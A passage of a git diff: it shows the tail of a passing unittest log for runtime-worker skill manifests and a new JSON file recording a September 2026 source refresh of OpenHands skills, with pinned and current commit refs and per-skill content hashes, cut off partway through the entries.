... ok +test_contract_rejects_a_future_main_skill_in_neither_set (tests.test_runtime_worker_skills.RuntimeWorkerManifestTests.test_contract_rejects_a_future_main_skill_in_neither_set) ... ok +test_contract_rejects_double_claims_restated_gates_and_bare_exclusions (tests.test_runtime_worker_skills.RuntimeWorkerManifestTests.test_contract_rejects_double_claims_restated_gates_and_bare_exclusions) ... ok +test_contract_survives_main_reordering_its_skills (tests.test_runtime_worker_skills.RuntimeWorkerManifestTests.test_contract_survives_main_reordering_its_skills) ... ok +test_every_adoption_skill_is_reused_or_explicitly_excluded (tests.test_runtime_worker_skills.RuntimeWorkerManifestTests.test_every_adoption_skill_is_reused_or_explicitly_excluded) ... ok +test_every_scenario_role_cell_has_real_skills_or_explicit_gap (tests.test_runtime_worker_skills.RuntimeWorkerManifestTests.test_every_scenario_role_cell_has_real_skills_or_explicit_gap) ... ok +test_freshness_workflow_is_report_only_and_actions_are_sha_pinned (tests.test_runtime_worker_skills.RuntimeWorkerManifestTests.test_freshness_workflow_is_report_only_and_actions_are_sha_pinned) ... ok +test_no_duplicate_names_and_each_role_has_skills (tests.test_runtime_worker_skills.RuntimeWorkerManifestTests.test_no_duplicate_names_and_each_role_has_skills) ... ok +test_openhands_inventory_has_a_decision_for_every_skill (tests.test_runtime_worker_skills.RuntimeWorkerManifestTests.test_openhands_inventory_has_a_decision_for_every_skill) ... ok +test_print_codex_config_disables_every_reused_skill_main_disables (tests.test_runtime_worker_skills.RuntimeWorkerManifestTests.test_print_codex_config_disables_every_reused_skill_main_disables) ... ok +test_prune_contract_records_claude_listing_budget_and_unknown_visibility (tests.test_runtime_worker_skills.RuntimeWorkerManifestTests.test_prune_contract_records_claude_listing_budget_and_unknown_visibility) ... ok +test_readme_matrix_matches_manifest_including_empty_cells (tests.test_runtime_worker_skills.RuntimeWorkerManifestTests.test_readme_matrix_matches_manifest_including_empty_cells) ... ok +test_schema_and_pins_are_well_formed (tests.test_runtime_worker_skills.RuntimeWorkerManifestTests.test_schema_and_pins_are_well_formed) ... ok +test_security_audit_exclusion_follows_mains_gate_until_main_promotes_it (tests.test_runtime_worker_skills.RuntimeWorkerManifestTests.test_security_audit_exclusion_follows_mains_gate_until_main_promotes_it) ... ok +test_source_counts_match_the_selected_skills_and_the_research_table (tests.test_runtime_worker_skills.RuntimeWorkerManifestTests.test_source_counts_match_the_selected_skills_and_the_research_table) ... ok +test_superpowers_lifecycle_and_collisions_are_explicit (tests.test_runtime_worker_skills.RuntimeWorkerManifestTests.test_superpowers_lifecycle_and_collisions_are_explicit) ... ok +test_verification_before_completion_stays_excluded_until_main_readmits_it (tests.test_runtime_worker_skills.RuntimeWorkerManifestTests.test_verification_before_completion_stays_excluded_until_main_readmits_it) ... ok +test_worker_installation_uses_extended_installer_without_hand_copy (tests.test_runtime_worker_skills.RuntimeWorkerManifestTests.test_worker_installation_uses_extended_installer_without_hand_copy) ... ok + +---------------------------------------------------------------------- +Ran 22 tests in 0.068s + +OK diff --git a/blueprints/runtime-workers/skills/refresh-20260930.json b/blueprints/runtime-workers/skills/refresh-20260930.json new file mode 100644 index 000000000..ecc4503b3 --- /dev/null +++ b/blueprints/runtime-workers/skills/refresh-20260930.json @@ -0,0 +1,1774 @@ +{ + "schema_version": 1, + "kind": "runtime_worker_skill_source_refresh", + "checked_at": "2026-09-30T06:51:44.652140+00:00", + "evidence_class": "source_artifact_comparison_and_local_integration_discovery", + "scope": "Existing 137-skill project trial; source metadata and exact native source discovery only.", + "decision": { + "status": "trial", + "advanced_unchanged_openhands_trees": 73, + "retained_changed_openhands_trees": 4, + "roster_count": 137, + "source_repository_count": 12, + "activation_counts": null, + "native_acceptance": "pending", + "pruning": "No completed instrumented E2E run set; activation remains unknown and no entry is removed." + }, + "sources": { + "extensions": { + "repository": "OpenHands/extensions", + "previous_ref": "bea7a20c59c44ec4dacddac3fc0efe58b9c73880", + "current_ref": "9495f4c59dd5fea2cee9e87ab37a6abda649627b", + "current_commit_date": "2026-09-30T02:54:34Z", + "current_tree": "09567ecb6bd5c579df902e05aab7e08da9ba1c4b", + "metadata_command": [ + "rtk", + "gh", + "api", + "repos/OpenHands/extensions/commits/main" + ], + "metadata_url": "https://github.com/OpenHands/extensions/commit/9495f4c59dd5fea2cee9e87ab37a6abda649627b" + }, + "sdk": { + "repository": "OpenHands/software-agent-sdk", + "ref": "dcf401af7a9a302ef92cb7d092e1df9bb659daa5", + "version": "1.50.0", + "latest_release": "v1.50.0", + "release_published_at": "2026-09-29T20:09:53Z", + "release_url": "https://github.com/OpenHands/software-agent-sdk/releases/tag/v1.50.0", + "source_pristine": true, + "native_functions": [ + "openhands-sdk/openhands/sdk/skills/skill.py:1049-1142 load_project_skills", + "openhands-sdk/openhands/sdk/skills/skill.py:1453-1533 to_prompt", + "openhands-sdk/openhands/sdk/tool/builtins/invoke_skill.py:90-124 InvokeSkillExecutor", + "openhands-sdk/openhands/sdk/context/agent_context.py:127-135 project loading defaults false" + ], + "upstream_suite": "Existing current worker recipe evidence is reused; 1,208 unchanged upstream tests were not repeated by this refresh." + }, + "skills_cli": { + "repository": "vercel-labs/skills", + "version": "1.7.0", + "ref": "7407f3893ad4dceab546ac002c3ef806e4000c73", + "latest_release": "v1.7.0", + "native_check_executed": false, + "installed_lock_inspected": false, + "reason": "check aliases update and can reinstall/remove (the manifest's cli.notes for this pin). Commit refs remain pinned; HEAD comparison is separate. No worker lock or installation was read or changed." + } + }, + "source_comparison": { + "class": "Local deterministic oracle over native git output; source identity only.", + "blob_command": [ + "rtk", + "proxy", + "git", + "-C", + "", + "show", + "{ref}:{path}/SKILL.md" + ], + "folder_tree_command": [ + "rtk", + "proxy", + "git", + "-C", + "", + "rev-parse", + "{ref}:{path}" + ], + "refs_and_paths": "For each retained comparison below, execute both commands at pinned_ref and current_ref.", + "native_blob_reads": 154, + "native_folder_tree_reads": 154, + "exit_code": 0, + "manifest_body_sha256_mismatches": 0, + "manifest_folder_tree_mismatches": 0, + "unchanged_bodies": 75, + "unchanged_complete_trees": 73, + "git_folder_tree_sha": "Native source-folder hash; not the CLI project lock computedHash or installed support-file integrity.", + "entries": [ + { + "name": "add-javadoc", + "path": "skills/add-javadoc", + "pinned_ref": "bea7a20c59c44ec4dacddac3fc0efe58b9c73880", + "current_ref": "9495f4c59dd5fea2cee9e87ab37a6abda649627b", + "manifest_body_sha256": "93422a18b7d6a98ed4800c800c9d2a4842dc465454253038d9cc091bd5bd45e1", + "pinned_body_sha256": "93422a18b7d6a98ed4800c800c9d2a4842dc465454253038d9cc091bd5bd45e1", + "current_body_sha256": "93422a18b7d6a98ed4800c800c9d2a4842dc465454253038d9cc091bd5bd45e1", + "pinned_body_bytes": 1166, + "current_body_bytes": 1166, + "manifest_tree_sha": "4fab124ceaaa67a393a674384015158e3f50b100", + "pinned_tree_sha": "4fab124ceaaa67a393a674384015158e3f50b100", + "current_tree_sha": "4fab124ceaaa67a393a674384015158e3f50b100", + "body_unchanged": true, + "tree_unchanged": true + }, + { + "name": "agent-canvas-environment", + "path": "skills/agent-canvas-environment", + "pinned_ref": "bea7a20c59c44ec4dacddac3fc0efe58b9c73880", + "current_ref": "9495f4c59dd5fea2cee9e87ab37a6abda649627b", + "manifest_body_sha256": "40562401fb3e07a921f4a1451cc44a4ed6441239c18a4f334791fa6a953f103c", + "pinned_body_sha256": "40562401fb3e07a921f4a1451cc44a4ed6441239c18a4f334791fa6a953f103c", + "current_body_sha256": "40562401fb3e07a921f4a1451cc44a4ed6441239c18a4f334791fa6a953f103c", + "pinned_body_bytes": 9959, + "current_body_bytes": 9959, + "manifest_tree_sha": "f86b5b739f7a97afbf53f343beb63824942bcb4d", + "pinned_tree_sha": "f86b5b739f7a97afbf53f343beb63824942bcb4d", + "current_tree_sha": "f86b5b739f7a97afbf53f343beb63824942bcb4d", + "body_unchanged": true, + "tree_unchanged": true + }, + { + "name": "agent-creator", + "path": "skills/agent-creator", + "pinned_ref": "bea7a20c59c44ec4dacddac3fc0efe58b9c73880", + "current_ref": "9495f4c59dd5fea2cee9e87ab37a6abda649627b", + "manifest_body_sha256": "c7321d4a60420cefe8f06b8946d4501f0a6a18352f1f79e9526354266cf0109f", + "pinned_body_sha256": "c7321d4a60420cefe8f06b8946d4501f0a6a18352f1f79e9526354266cf0109f", + "current_body_sha256": "c7321d4a60420cefe8f06b8946d4501f0a6a18352f1f79e9526354266cf0109f", + "pinned_body_bytes": 7254, + "current_body_bytes": 7254, + "manifest_tree_sha": "1dd69a47d0bfecf45a52add4cf4081f2afd9bef4", + "pinned_tree_sha": "1dd69a47d0bfecf45a52add4cf4081f2afd9bef4", + "current_tree_sha": "1dd69a47d0bfecf45a52add4cf4081f2afd9bef4", + "body_unchanged": true, + "tree_unchanged": true + }, + { + "name": "agent-memory", + "path": "skills/agent-memory", + "pinned_ref": "bea7a20c59c44ec4dacddac3fc0efe58b9c73880", + "current_ref": "9495f4c59dd5fea2cee9e87ab37a6abda649627b", + "manifest_body_sha256": "f91fb602088b14732037b54c72de8648dd6c14b4261265eb0e4c87ac43b442bd", + "pinned_body_sha256": "f91fb602088b14732037b54c72de8648dd6c14b4261265eb0e4c87ac43b442bd", + "current_body_sha256": "f91fb602088b14732037b54c72de8648dd6c14b4261265eb0e4c87ac43b442bd", + "pinned_body_bytes": 2051, + "current_body_bytes": 2051, + "manifest_tree_sha": "7ae7fc4e3658214947c683162df6dce3a910d813", + "pinned_tree_sha": "7ae7fc4e3658214947c683162df6dce3a910d813", + "current_tree_sha": "7ae7fc4e3658214947c683162df6dce3a910d813", + "body_unchanged": true, + "tree_unchanged": true + }, + { + "name": "agent-readiness-report", + "path": "plugins/onboarding/skills/agent-readiness-report", + "pinned_ref": "bea7a20c59c44ec4dacddac3fc0efe58b9c73880", + "current_ref": "9495f4c59dd5fea2cee9e87ab37a6abda649627b", + "manifest_body_sha256": "e11eafa6fa0be079680bf49d7376dddff7261ec353e35a1a070d8d3c9f10b3b1", + "pinned_body_sha256": "e11eafa6fa0be079680bf49d7376dddff7261ec353e35a1a070d8d3c9f10b3b1", + "current_body_sha256": "e11eafa6fa0be079680bf49d7376dddff7261ec353e35a1a070d8d3c9f10b3b1", + "pinned_body_bytes": 4477, + "current_body_bytes": 4477, + "manifest_tree_sha": "77d14adb7d8da1ff94707b5119800ff32643cab4", + "pinned_tree_sha": "77d14adb7d8da1ff94707b5119800ff32643cab4", + "current_tree_sha": "77d14adb7d8da1ff94707b5119800ff32643cab4", + "body_unchanged": true, + "tree_unchanged": true + }, + { + "name": "agent-sdk-builder", + "path": "skills/agent-sdk-builder", + "pinned_ref": "bea7a20c59c44ec4dacddac3fc0efe58b9c73880", + "current_ref": "9495f4c59dd5fea2cee9e87ab37a6abda649627b", + "manifest_body_sha256": "0085981836b18cd815079936ea7784e575a1def0d77ba41f72d9b2abe7589cab", + "pinned_body_sha256": "0085981836b18cd815079936ea7784e575a1def0d77ba41f72d9b2abe7589cab", + "current_body_sha256": "0085981836b18cd815079936ea7784e575a1def0d77ba41f72d9b2abe7589cab", + "pinned_body_bytes": 2849, + "current_body_bytes": 2849, + "manifest_tree_sha": "7c2ce2de2c2e607e53a4cb9980a2dde6a2a49f9a", + "pinned_tree_sha": "7c2ce2de2c2e607e53a4cb9980a2dde6a2a49f9a", + "current_tree_sha": "7c2ce2de2c2e607e53a4cb9980a2dde6a2a49f9a", + "body_unchanged": true, + "tree_unchanged": true + }, + { + "name": "azure-devops", + "path": "skills/azure-devops", + "pinned_ref": "bea7a20c59c44ec4dacddac3fc0efe58b9c73880", + "current_ref": "9495f4c59dd5fea2cee9e87ab37a6abda649627b", + "manifest_body_sha256": "df602c5dc300b53b5163806ee6b573dab3126db64b4e7c237ba4ddfbb0c2d5fc", + "pinned_body_sha256": "df602c5dc300b53b5163806ee6b573dab3126db64b4e7c237ba4ddfbb0c2d5fc", + "current_body_sha256": "df602c5dc300b53b5163806ee6b573dab3126db64b4e7c237ba4ddfbb0c2d5fc", + "pinned_body_bytes": 3552, + "current_body_bytes": 3552, + "manifest_tree_sha": "dee8b13d0bd7e0a49f6ae17d78fd8f1fc4d1c356", + "pinned_tree_sha": "dee8b13d0bd7e0a49f6ae17d78fd8f1fc4d1c356", + "current_tree_sha": "dee8b13d0bd7e0a49f6ae17d78fd8f1fc4d1c356", + "body_unchanged": true, + "tree_unchanged": true + }, + { + "name": "bitbucket", + "path": "skills/bitbucket", + "pinned_ref": "bea7a20c59c44ec4dacddac3fc0efe58b9c73880", + "current_ref": "9495f4c59dd5fea2cee9e87ab37a6abda649627b", + "manifest_body_sha256": "b9c7fb63cef358d8a21e8348c8c5290d60acc91c536774b88b7121bee6ff0bd1", + "pinned_body_sha256": "b9c7fb63cef358d8a21e8348c8c5290d60acc91c536774b88b7121bee6ff0bd1", + "current_body_sha256": "b9c7fb63cef358d8a21e8348c8c5290d60acc91c536774b88b7121bee6ff0bd1", + "pinned_body_bytes": 2551, + "current_body_bytes": 2551, + "manifest_tree_sha": "459944c2558e7d82bc70f367c6ba084a276de343", + "pinned_tree_sha": "459944c2558e7d82bc70f367c6ba084a276de343", + "current_tree_sha": "459944c2558e7d82bc70f367c6ba084a276de343", + "body_unchanged": true, + "tree_unchanged": true + }, + { + "name": "bitbucket-cloud", + "path": "skills/bitbucket-cloud", + "pinned_ref": "bea7a20c59c44ec4dacddac3fc0efe58b9c73880", + "current_ref": "9495f4c59dd5fea2cee9e87ab37a6abda649627b", + "manifest_body_sha256": "05fa500943fea4940408098e2411cabaa2d316dabb7a56ceeacad3cd2e59057a", + "pinned_body_sha256": "05fa500943fea4940408098e2411cabaa2d316dabb7a56ceeacad3cd2e59057a", + "current_body_sha256": "05fa500943fea4940408098e2411cabaa2d316dabb7a56ceeacad3cd2e59057a", + "pinned_body_bytes": 3878, + "current_body_bytes": 3878, + "manifest_tree_sha": "a54aed17547b26848f508043b2ea24e14339d77a", + "pinned_tree_sha": "a54aed17547b26848f508043b2ea24e14339d77a", + "current_tree_sha": "a54aed17547b26848f508043b2ea24e14339d77a", + "body_unchanged": true, + "tree_unchanged": true + }, + { + "name": "bitbucket-data-center", + "path": "skills/bitbucket-data-center", + "pinned_ref": "bea7a20c59c44ec4dacddac3fc0efe58b9c73880", + "current_ref": "9495f4c59dd5fea2cee9e87ab37a6abda649627b", + "manifest_body_sha256": "912dd5497f8bd3608b1dea6913732239f6cc1ca7996340884688c46a6c56193f", + "pinned_body_sha256": "912dd5497f8bd3608b1dea6913732239f6cc1ca7996340884688c46a6c56193f", + "current_body_sha256": "912dd5497f8bd3608b1dea6913732239f6cc1ca7996340884688c46a6c56193f", + "pinned_body_bytes": 3634, + "current_body_bytes": 3634, + "manifest_tree_sha": "6c5d58d993ee9e27e5d5c8db0b51c225535d16f5", + "pinned_tree_sha": "6c5d58d993ee9e27e5d5c8db0b51c225535d16f5", + "current_tree_sha": "6c5d58d993ee9e27e5d5c8db0b51c225535d16f5", + "body_unchanged": true, + "tree_unchanged": true + }, + { + "name": "build-setup", + "path": "plugins/cobol-modernization/skills/build-setup", + "pinned_ref": "bea7a20c59c44ec4dacddac3fc0efe58b9c73880", + "current_ref": "9495f4c59dd5fea2cee9e87ab37a6abda649627b", + "manifest_body_sha256": "922b0812ba608d51cf760372293f498818544695fe02c61ce7db593d187b8572", + "pinned_body_sha256": "922b0812ba608d51cf760372293f498818544695fe02c61ce7db593d187b8572", + "current_body_sha256": "922b0812ba608d51cf760372293f498818544695fe02c61ce7db593d187b8572", + "pinned_body_bytes": 2499, + "current_body_bytes": 2499, + "manifest_tree_sha": "a20c5d119b1b4ba8a0391c9276196b2d0faaad0a", + "pinned_tree_sha": "a20c5d119b1b4ba8a0391c9276196b2d0faaad0a", + "current_tree_sha": "a20c5d119b1b4ba8a0391c9276196b2d0faaad0a", + "body_unchanged": true, + "tree_unchanged": true + }, + { + "name": "canvas-extension-api", + "path": "skills/canvas-extension-api", + "pinned_ref": "bea7a20c59c44ec4dacddac3fc0efe58b9c73880", + "current_ref": "9495f4c59dd5fea2cee9e87ab37a6abda649627b", + "manifest_body_sha256": "a36bcb91071425b5095b90503f51336951767aec5770873a5c784d57980b6157", + "pinned_body_sha256": "a36bcb91071425b5095b90503f51336951767aec5770873a5c784d57980b6157", + "current_body_sha256": "7f9d2cd77059b51df423bc99fc7d4c80e462f9a9771beb40b468cbce986ed36d", + "pinned_body_bytes": 17452, + "current_body_bytes": 20315, + "manifest_tree_sha": "d801371678229dcbb20d642ec95c5a74fce4ef83", + "pinned_tree_sha": "d801371678229dcbb20d642ec95c5a74fce4ef83", + "current_tree_sha": "e57c058a5fd1790769a30bd09691bf306826fea7", + "body_unchanged": false, + "tree_unchanged": false + }, + { + "name": "cobol-modernization", + "path": "plugins/cobol-modernization/skills/cobol-modernization", + "pinned_ref": "bea7a20c59c44ec4dacddac3fc0efe58b9c73880", + "current_ref": "9495f4c59dd5fea2cee9e87ab37a6abda649627b", + "manifest_body_sha256": "551452a767707ba2827fc654475e29d5c3735a6eef152e579decaa52b4e3759d", + "pinned_body_sha256": "551452a767707ba2827fc654475e29d5c3735a6eef152e579decaa52b4e3759d", + "current_body_sha256": "551452a767707ba2827fc654475e29d5c3735a6eef152e579decaa52b4e3759d", + "pinned_body_bytes": 3363, + "current_body_bytes": 3363, + "manifest_tree_sha": "d86574828d9f3e5aea2b7066105eb44d9e97715c", + "pinned_tree_sha": "d86574828d9f3e5aea2b7066105eb44d9e97715c", + "current_tree_sha": "d86574828d9f3e5aea2b7066105eb44d9e97715c", + "body_unchanged": true, + "tree_unchanged": true + }, + { + "name": "code-review", + "path": "skills/code-review", + "pinned_ref": "bea7a20c59c44ec4dacddac3fc0efe58b9c73880", + "current_ref": "9495f4c59dd5fea2cee9e87ab37a6abda649627b", + "manifest_body_sha256": "f4a3bf947db539fbb0467598c7bfed0ef25164278b5a22ad760eff5f78057dee", + "pinned_body_sha256": "f4a3bf947db539fbb0467598c7bfed0ef25164278b5a22ad760eff5f78057dee", + "current_body_sha256": "f4a3bf947db539fbb0467598c7bfed0ef25164278b5a22ad760eff5f78057dee", + "pinned_body_bytes": 8455, + "current_body_bytes": 8455, + "manifest_tree_sha": "bd04e3765993619aae24ccabbd84b94121464334", + "pinned_tree_sha": "bd04e3765993619aae24ccabbd84b94121464334", + "current_tree_sha": "bd04e3765993619aae24ccabbd84b94121464334", + "body_unchanged": true, + "tree_unchanged": true + }, + { + "name": "code-simplifier", + "path": "skills/code-simplifier", + "pinned_ref": "bea7a20c59c44ec4dacddac3fc0efe58b9c73880", + "current_ref": "9495f4c59dd5fea2cee9e87ab37a6abda649627b", + "manifest_body_sha256": "ba5cfc2908e5d7e4a896a88c87294a348f356222e5f7118753ed443c0c3a1116", + "pinned_body_sha256": "ba5cfc2908e5d7e4a896a88c87294a348f356222e5f7118753ed443c0c3a1116", + "current_body_sha256": "ba5cfc2908e5d7e4a896a88c87294a348f356222e5f7118753ed443c0c3a1116", + "pinned_body_bytes": 5033, + "current_body_bytes": 5033, + "manifest_tree_sha": "6da51b9d5dee02ec26954c3961cb64bc21b69215", + "pinned_tree_sha": "6da51b9d5dee02ec26954c3961cb64bc21b69215", + "current_tree_sha": "6da51b9d5dee02ec26954c3961cb64bc21b69215", + "body_unchanged": true, + "tree_unchanged": true + }, + { + "name": "datadog", + "path": "skills/datadog", + "pinned_ref": "bea7a20c59c44ec4dacddac3fc0efe58b9c73880", + "current_ref": "9495f4c59dd5fea2cee9e87ab37a6abda649627b", + "manifest_body_sha256": "c67db102d293d21ee9318d51e5da8e86ed2d5ed1d92635a6830552b83c457c7f", + "pinned_body_sha256": "c67db102d293d21ee9318d51e5da8e86ed2d5ed1d92635a6830552b83c457c7f", + "current_body_sha256": "c67db102d293d21ee9318d51e5da8e86ed2d5ed1d92635a6830552b83c457c7f", + "pinned_body_bytes": 2864, + "current_body_bytes": 2864, + "manifest_tree_sha": "9fcb3bd5ed49971a98224e69d9d7d92fa49d7727", + "pinned_tree_sha": "9fcb3bd5ed49971a98224e69d9d7d92fa49d7727", + "current_tree_sha": "9fcb3bd5ed49971a98224e69d9d7d92fa49d7727", + "body_unchanged": true, + "tree_unchanged": true + }, + { + "name": "deno", + "path": "skills/deno", + "pinned_ref": "bea7a20c59c44ec4dacddac3fc0efe58b9c73880", + "current_ref": "9495f4c59dd5fea2cee9e87ab37a6abda649627b", + "manifest_body_sha256": "6704eb29264daea9cf63af19c216a9d1c0970a094830efedd02e0545feaa65c1", + "pinned_body_sha256": "6704eb29264daea9cf63af19c216a9d1c0970a094830efedd02e0545feaa65c1", + "current_body_sha256": "6704eb29264daea9cf63af19c216a9d1c0970a094830efedd02e0545feaa65c1", + "pinned_body_bytes": 2266, + "current_body_bytes": 2266, + "manifest_tree_sha": "521248e905142109eedf85ed8b05d12d7f95c099", + "pinned_tree_sha": "521248e905142109eedf85ed8b05d12d7f95c099", + "current_tree_sha": "521248e905142109eedf85ed8b05d12d7f95c099", + "body_unchanged": true, + "tree_unchanged": true + }, + { + "name": "discord", + "path": "skills/discord", + "pinned_ref": "bea7a20c59c44ec4dacddac3fc0efe58b9c73880", + "current_ref": "9495f4c59dd5fea2cee9e87ab37a6abda649627b", + "manifest_body_sha256": "ff1cc68562cddeb1f51289e0f5fe13dd272aa89d2b156624ceb8bc65b01ac23f", + "pinned_body_sha256": "ff1cc68562cddeb1f51289e0f5fe13dd272aa89d2b156624ceb8bc65b01ac23f", + "current_body_sha256": "ff1cc68562cddeb1f51289e0f5fe13dd272aa89d2b156624ceb8bc65b01ac23f", + "pinned_body_bytes": 4352, + "current_body_bytes": 4352, + "manifest_tree_sha": "0759b6e8fa2e5910a180d499939128f2baa108a3", + "pinned_tree_sha": "0759b6e8fa2e5910a180d499939128f2baa108a3", + "current_tree_sha": "0759b6e8fa2e5910a180d499939128f2baa108a3", + "body_unchanged": true, + "tree_unchanged": true + }, + { + "name": "docker", + "path": "skills/docker", + "pinned_ref": "bea7a20c59c44ec4dacddac3fc0efe58b9c73880", + "current_ref": "9495f4c59dd5fea2cee9e87ab37a6abda649627b", + "manifest_body_sha256": "d4c69e41982982cf1b71e265fbcaec478030bee0bf627285a48bea3a84373a3a", + "pinned_body_sha256": "d4c69e41982982cf1b71e265fbcaec478030bee0bf627285a48bea3a84373a3a", + "current_body_sha256": "d4c69e41982982cf1b71e265fbcaec478030bee0bf627285a48bea3a84373a3a", + "pinned_body_bytes": 922, + "current_body_bytes": 922, + "manifest_tree_sha": "7e742029273a6cd801c5fd1610bc052e467479b4", + "pinned_tree_sha": "7e742029273a6cd801c5fd1610bc052e467479b4", + "current_tree_sha": "7e742029273a6cd801c5fd1610bc052e467479b4", + "body_unchanged": true, + "tree_unchanged": true + }, + { + "name": "evidence-based-citations", + "path": "skills/evidence-based-citations", + "pinned_ref": "bea7a20c59c44ec4dacddac3fc0efe58b9c73880", + "current_ref": "9495f4c59dd5fea2cee9e87ab37a6abda649627b", + "manifest_body_sha256": "ebd2645e8e3651218d356c534ebcc453fafbd8b0ca36d9d9e7e7d60790ee7021", + "pinned_body_sha256": "ebd2645e8e3651218d356c534ebcc453fafbd8b0ca36d9d9e7e7d60790ee7021", + "current_body_sha256": "ebd2645e8e3651218d356c534ebcc453fafbd8b0ca36d9d9e7e7d60790ee7021", + "pinned_body_bytes": 3182, + "current_body_bytes": 3182, + "manifest_tree_sha": "8b146bdfaa2c21074edf3f3f89e6c322d79d0a56", + "pinned_tree_sha": "8b146bdfaa2c21074edf3f3f89e6c322d79d0a56", + "current_tree_sha": "8b146bdfaa2c21074edf3f3f89e6c322d79d0a56", + "body_unchanged": true, + "tree_unchanged": true + }, + { + "name": "github", + "path": "skills/github", + "pinned_ref": "bea7a20c59c44ec4dacddac3fc0efe58b9c73880", + "current_ref": "9495f4c59dd5fea2cee9e87ab37a6abda649627b", + "manifest_body_sha256": "c618546605a8461dfa7d2939c97de409ce7455c262aac4513b2b1b8dd15020e8", + "pinned_body_sha256": "c618546605a8461dfa7d2939c97de409ce7455c262aac4513b2b1b8dd15020e8", + "current_body_sha256": "c618546605a8461dfa7d2939c97de409ce7455c262aac4513b2b1b8dd15020e8", + "pinned_body_bytes": 4880, + "current_body_bytes": 4880, + "manifest_tree_sha": "02cea5f01bd171145824a074ee680881fcfdc08f", + "pinned_tree_sha": "02cea5f01bd171145824a074ee680881fcfdc08f", + "current_tree_sha": "53cc65403e8a95b5fce83db28ca1f51e663b0bdc", + "body_unchanged": true, + "tree_unchanged": false + }, + { + "name": "github-actions", + "path": "skills/github-actions", + "pinned_ref": "bea7a20c59c44ec4dacddac3fc0efe58b9c73880", + "current_ref": "9495f4c59dd5fea2cee9e87ab37a6abda649627b", + "manifest_body_sha256": "3bc931615299740031ec21eef92a3c1cc1acd91d88d6579c67e8e6021a0c83f0", + "pinned_body_sha256": "3bc931615299740031ec21eef92a3c1cc1acd91d88d6579c67e8e6021a0c83f0", + "current_body_sha256": "3bc931615299740031ec21eef92a3c1cc1acd91d88d6579c67e8e6021a0c83f0", + "pinned_body_bytes": 1888, + "current_body_bytes": 1888, + "manifest_tree_sha": "1c2cde4572e3fdf3c3196846dba86a4ebd456121", + "pinned_tree_sha": "1c2cde4572e3fdf3c3196846dba86a4ebd456121", + "current_tree_sha": "1c2cde4572e3fdf3c3196846dba86a4ebd456121", + "body_unchanged": true, + "tree_unchanged": true + }, + { + "name": "github-agents-md-maintainer", + "path": "skills/github-agents-md-maintainer", + "pinned_ref": "bea7a20c59c44ec4dacddac3fc0efe58b9c73880", + "current_ref": "9495f4c59dd5fea2cee9e87ab37a6abda649627b", + "manifest_body_sha256": "a117d2f599af00a8b1f890b1cecda2a144cc1e59ae1a0370f5798b97377ec206", + "pinned_body_sha256": "a117d2f599af00a8b1f890b1cecda2a144cc1e59ae1a0370f5798b97377ec206", + "current_body_sha256": "a117d2f599af00a8b1f890b1cecda2a144cc1e59ae1a0370f5798b97377ec206", + "pinned_body_bytes": 11745, + "current_body_bytes": 11745, + "manifest_tree_sha": "6eeab0e65e71aeeaf21e69d3583c4aab8adf45ce", + "pinned_tree_sha": "6eeab0e65e71aeeaf21e69d3583c4aab8adf45ce", + "current_tree_sha": "6eeab0e65e71aeeaf21e69d3583c4aab8adf45ce", + "body_unchanged": true, + "tree_unchanged": true + }, + { + "name": "github-delivery-watchdog", + "path": "skills/github-delivery-watchdog", + "pinned_ref": "bea7a20c59c44ec4dacddac3fc0efe58b9c73880", + "current_ref": "9495f4c59dd5fea2cee9e87ab37a6abda649627b", + "manifest_body_sha256": "536cb76358c784e882c02d0040fe33fe19038fdf2b9050a94739ec07f760bce9", + "pinned_body_sha256": "536cb76358c784e882c02d0040fe33fe19038fdf2b9050a94739ec07f760bce9", + "current_body_sha256": "536cb76358c784e882c02d0040fe33fe19038fdf2b9050a94739ec07f760bce9", + "pinned_body_bytes": 1952, + "current_body_bytes": 1952, + "manifest_tree_sha": "c90ad6ae786552737e7ab2a011310627c5f0acae", + "pinned_tree_sha": "c90ad6ae786552737e7ab2a011310627c5f0acae", + "current_tree_sha": "c90ad6ae786552737e7ab2a011310627c5f0acae", + "body_unchanged": true, + "tree_unchanged": true + }, + { + "name": "github-issue-to-pr", + "path": "skills/github-issue-to-pr", + "pinned_ref": "bea7a20c59c44ec4dacddac3fc0efe58b9c73880", + "current_ref": "9495f4c59dd5fea2cee9e87ab37a6abda649627b", + "manifest_body_sha256": "602425d9c99c774e2b4a31ac816313f3e64171a72ff34dcc6aa50a1c6b14ba6a", + "pinned_body_sha256": "602425d9c99c774e2b4a31ac816313f3e64171a72ff34dcc6aa50a1c6b14ba6a", + "current_body_sha256": "602425d9c99c774e2b4a31ac816313f3e64171a72ff34dcc6aa50a1c6b14ba6a", + "pinned_body_bytes": 17616, + "current_body_bytes": 17616, + "manifest_tree_sha": "a8d0921bfb255e12d6f97754c54d79ac72d9b83d", + "pinned_tree_sha": "a8d0921bfb255e12d6f97754c54d79ac72d9b83d", + "current_tree_sha": "a8d0921bfb255e12d6f97754c54d79ac72d9b83d", + "body_unchanged": true, + "tree_unchanged": true + }, + { + "name": "github-issue-triage", + "path": "skills/github-issue-triage", + "pinned_ref": "bea7a20c59c44ec4dacddac3fc0efe58b9c73880", + "current_ref": "9495f4c59dd5fea2cee9e87ab37a6abda649627b", + "manifest_body_sha256": "eec8e8f6d1c9f41f898f438f037c082476ae3a08f70e609a4458c12c196861e3", + "pinned_body_sha256": "eec8e8f6d1c9f41f898f438f037c082476ae3a08f70e609a4458c12c196861e3", + "current_body_sha256": "eec8e8f6d1c9f41f898f438f037c082476ae3a08f70e609a4458c12c196861e3", + "pinned_body_bytes": 3141, + "current_body_bytes": 3141, + "manifest_tree_sha": "9df1430bf1402390fa7070105b589a87861254ed", + "pinned_tree_sha": "9df1430bf1402390fa7070105b589a87861254ed", + "current_tree_sha": "9df1430bf1402390fa7070105b589a87861254ed", + "body_unchanged": true, + "tree_unchanged": true + }, + { + "name": "github-pr-review", + "path": "skills/github-pr-review", + "pinned_ref": "bea7a20c59c44ec4dacddac3fc0efe58b9c73880", + "current_ref": "9495f4c59dd5fea2cee9e87ab37a6abda649627b", + "manifest_body_sha256": "8b1c2f74dede90bbb7a524b66e991f9eb8ab3068b349ad343ca986668567652c", + "pinned_body_sha256": "8b1c2f74dede90bbb7a524b66e991f9eb8ab3068b349ad343ca986668567652c", + "current_body_sha256": "8b1c2f74dede90bbb7a524b66e991f9eb8ab3068b349ad343ca986668567652c", + "pinned_body_bytes": 9137, + "current_body_bytes": 9137, + "manifest_tree_sha": "f4e742826b7154635c79820a1cb015906b260a6d", + "pinned_tree_sha": "f4e742826b7154635c79820a1cb015906b260a6d", + "current_tree_sha": "f4e742826b7154635c79820a1cb015906b260a6d", + 